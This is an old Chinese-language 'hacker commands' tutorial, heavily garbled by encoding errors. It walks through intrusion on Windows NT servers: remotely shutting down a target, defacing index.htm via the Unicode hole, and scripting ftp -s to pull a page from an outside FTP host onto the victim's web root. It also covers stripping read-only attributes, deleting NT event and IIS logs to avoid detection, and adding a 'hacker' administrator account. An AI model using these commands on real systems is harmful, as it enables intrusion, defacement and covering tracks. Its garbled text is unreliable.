_红色的是登陆q这部系l的用户Q可能你不知道怎么看,大家是不是看C一H数字,只要q窜数字?lt;03>的话Q那他前面的是用户?
q里的用hPENTIUMII?
8QShutdown
关了Ҏ的NT服务器的命o
Shutdown \\\\IP地址 t:20
20U后NT自动关闭Q三思后才能q行q个命oQ这样对Ҏ造很大的损失Q要做个有良心的入R者呀?
9QDIR
q个命o没什么好Ԍ但是却非帔R要,他是查看一目录里的所有文件、文件夹?
你可以本地试下?
10Qecho
著名的漏zUnicodeQ这个命令可以简单的黑一下有q个漏洞的主机?
我们假设我们要把“南京大屠杀铁证如山QQ?本h不得抵赖Q”写入index.htmQ有2U方法,大家看看有什么区别?
echo 南京大屠杀铁证如山QQ?本h不得抵赖Q?gt;index.htm
echo 南京大屠杀铁证如山QQ?本h不得抵赖Q?gt;>index.htm
W一个的意思是覆盖index.htm原有的内容,把“南京大屠杀铁证如山QQ?本h不得抵赖Q”写qindex.htm?
W二个的意思是把“南京大屠杀铁证如山QQ?本h不得抵赖Q”加到index.htm里面?
?gt;>”生的内容追加进文g中,?gt;”则原文g内容覆盖?
大家可以本地试下?
可能你会问,q样单黑下有什么好玩的Q其实他可以用来下蝲主页到对方的目录里?
1、首先,我们需要申请一个免费的主页I间?
2、用echo在可写目录下建立如下内容的txt文gQ(以chinren服务器ؓ例。)
open upload.chinaren.comQ你的FTP服务器,甌时你的空间提供商会给你的Q?
cnhackQ你甌时的用户名)
testQ你甌时的密码Q?
get index.htm c:\\inetpub\\wwwroot\\index.htmQ这里是把你I间上的index.htm下蝲到对方的c:\\inetpub\\wwwroot\\index.htmQ?
byeQ退出FTP对话Q相当在98下的DOSQ用EXIT退出DOSQ?
具体的做法:
输入 echo open upload.chinaren.com> c:\\cnhack.txt
输入 echo cnhack >> c:\\cnhack.txt
输入 echo 39abs >> c:\\cnhack.txt
输入 echo get index.htm c:\\inetpub\\wwwroot\\index.htm+>>+c:\\cnhack.txt
最后输?ftp -s:c:\\cnhack.txt Q利用ftp?s参数Q执行文仉的内宏V)
{命令完成时Q文件已l下载到你指定的文g里了?
注意Q取得文件后Q请删除cnhack.txt。(如果不删除,很容易会l别人看C的密码。)
记得?del c:\\cnhack.txt
11:attrib
q个命o是设|文件属性的。如果你想黑一个站Q而他的主늚文g属性设|了只读Q那很可怜呀Q想删除他也不行Q想覆盖他也不行。倒!不过有这个命令就别怕了?
attrib -r index.htm
q个命o是把index.htm的只d性去掉?
如果把?”改为?”则是把q个文g的属性设|ؓ只读
attrib +r index.htm
q个命o是把index.htm的属性设|ؓ只读?
12:del
当你看到q个标题可别倒下啊!现在要离开127.0.0.1了,要删?志,当然要删?志啦Q想被捉吗。呵c?
NT?志有q些
del C:\\winnt\\system32\\logfiles\\*.*
del C:\\winnt\\ssytem32\\config\\*.evt
del C:\\winnt\\system32\\dtclog\\*.*
del C:\\winnt\\system32\\*.log
del C:\\winnt\\system32\\*.txt
del C:\\winnt\\*.txt
del C:\\winnt\\*.log
只要删除q些可以了。有些系lNT安装在D盘或其他盘,p把CҎ其他盘?/p>
黑客常用命o教程
打开Q开始-q行Q然后输入CMD回RQ?br />以下是黑客命?br />\netstat -an
查看本机所有开发端口和q接
\net use
查看本机所有连?br />\net use\\192.168.1.12\ipc$ 123789/user:administrator
与别的计机建立IPC$q接
\net user
昄本机所有用?br />\net user administrator
昄某消息的详细消息
\net share
昄本机当前׃n
\net share mylove /del
删除本机某共?br />\net share mylove=c:\temp /remark:"my first share"
增加׃n文g?br />\net time \\192.168.1.12
昄q程机器当前的时?br />\net start telnet
启动服务
\net stop telnet
停止服务
\net user hacker 123/add
d用户
\net localgroup administrators hacker /add
添加用户到理员组Q提升权?br />\ping -t -n 1000 www.cctv.com
看某|站的IP地址Q及响应速度
\tracert www.cctv.com
查看从本机出发,中间l过了那些\由器到达